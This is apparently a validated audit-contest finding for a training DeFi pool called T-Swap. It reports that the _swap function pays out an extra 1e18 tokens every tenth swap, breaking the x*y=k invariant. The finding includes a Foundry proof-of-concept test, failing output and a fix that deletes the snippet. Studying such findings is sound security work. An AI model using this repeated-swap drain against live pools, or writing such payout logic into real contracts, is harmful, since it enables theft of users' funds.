First Flight #18: T-Swap

First Flight #18
Beginner FriendlyDeFiFoundry
100 EXP
View results
Submission Details
Severity: high
Valid

The _swap function violates the protocol invariant x * y = k every 10th `swapCount`

Summary

Protocol invariant is violated every 10th swap, donating 1e18 of output tokens to the caller.

Vulnerability Details

As per contest page details
  • x * y = k

  • x = Token Balance X

  • y = Token Balance Y

  • k = The constant ratio between X & Y
    ......
    Our protocol should always follow this invariant in order to keep swapping correctly!

This means contract should always follow this invariant. However it doesn't in reality due to the donation given to swappers every 10th swap.
Here is the main logic that is responsible for this -

swap_count++;
if (swap_count >= SWAP_COUNT_MAX) {
swap_count = 0;
outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
}

This approach gonna drain the pools very quickly and protocol will not be able to process further swaps causing lot of legit users to loose funds.

POC

In existing test suite, add the following test

function testInvariantCanBeViolated() public {
/// add liqudity
vm.startPrank(liquidityProvider);
weth.approve(address(pool), 100e18);
poolToken.approve(address(pool), 100e18);
pool.deposit(100e18, 100e18, 100e18, uint64(block.timestamp));
vm.stopPrank();
uint256 outputWeth = 1e15;
//// user is on his mission to break the invariant
vm.startPrank(user);
poolToken.approve(address(pool), type(uint256).max);
poolToken.mint(user, 100e18);
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
/// y = Token Balance Y (y is weth)
int256 startingY = int256(weth.balanceOf(address(pool)));
int256 expectedDeltaY = int256(-1) * int256(outputWeth);
/// invarint get's breaked with this tx
pool.swapExactOutput(poolToken, weth, outputWeth, uint64(block.timestamp));
vm.stopPrank();
uint256 endingY = weth.balanceOf(address(pool));
//∆y = Change of token balance Y
int256 actualDeltaY = int256(endingY) - int256(startingY);
assertEq(actualDeltaY, expectedDeltaY);
}

then run forge test --mt testInvariantCanBeViolated -vv and we'll get the results as given below.

[⠊] Compiling...
[⠑] Compiling 1 files with Solc 0.8.20
[⠘] Solc 0.8.20 finished in 1.70s
Compiler run successful :
Ran 1 test for test/unit/TSwapPool.t.sol:TSwapPoolTest
[FAIL. Reason: assertion failed] testInvariantCanBeViolated() (gas: 382410)
Logs:
Error: a == b not satisfied [int]
Left: -1001000000000000000
Right: -1000000000000000
Suite result: FAILED. 0 passed; 1 failed; 0 skipped; finished in 2.05ms (553.00µs CPU time)
Ran 1 test suite in 182.21ms (2.05ms CPU time): 0 tests passed, 1 failed, 0 skipped (1 total tests)
Failing tests:
Encountered 1 failing test in test/unit/TSwapPool.t.sol:TSwapPoolTest
[FAIL. Reason: assertion failed] testInvariantCanBeViolated() (gas: 382410)
Encountered a total of 1 failing tests, 0 tests succeeded

As our assertion failed, which validate the protocol invariant is broken.

Impact

A malicious user can do lot of swap to drain the pool and causing protocol bankruptcy.

Tools Used

Manual Review, Foundry

Recommendations

Remove the snippet that is causing this issue. Or verify the protocol invariant, as balance changes to keep x * Y = k
One of the recommendation is shown below -

- swap_count++;
- // Fee-on-transfer
- if (swap_count >= SWAP_COUNT_MAX) {
- swap_count = 0;
- outputToken.safeTransfer(msg.sender, 1_000_000_000_000_000_000);
- }
Updates

Appeal created

inallhonesty Lead Judge 12 months ago
Submission Judgement Published
Validated
Assigned finding tags:

In `TSwapPool::_swap` the extra tokens given to users after every swapCount breaks the protocol invariant of x * y = k

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.